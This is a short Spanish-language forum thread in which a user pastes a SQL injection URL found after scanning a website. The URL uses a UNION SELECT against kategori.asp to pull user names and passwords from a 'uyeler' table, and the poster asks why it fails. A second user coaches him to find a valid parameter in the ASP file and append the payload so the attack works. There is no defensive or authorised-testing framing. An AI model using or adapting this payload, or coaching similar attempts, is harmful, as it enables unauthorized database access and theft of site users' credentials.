inyeccion SQL

Iniciado por tukuyu, 20 Septiembre 2009, 13:22 PM

0 Miembros y 1 Visitante están viendo este tema.

tukuyu

 wenas escanee una web con sss busque el exploit de esa vulnerabilidad y me salio este:
http://www.example.com /[portal path]/kategori.asp?kat=-1%20union%20select%200,U_ADI,2,U_SIFRE,4,5,6,7,8,9,10,11,12,13,14%20from%20uyeler%20where%20U_ID%20like%201

lo e copiado en la url  desde /kategori y me salta(Critical error occurred: Unable to find the requested module in our database)  aver si alguien me exa una mano gracias

salu2

emma93

El error dice que no se ha podido encontrar el módulo en la base de datos.

Fijate la variable kat, buscá una variable que exista en el archivo ASP, y de ahi copiá todo para delante a ver si te sirve.

Saludos !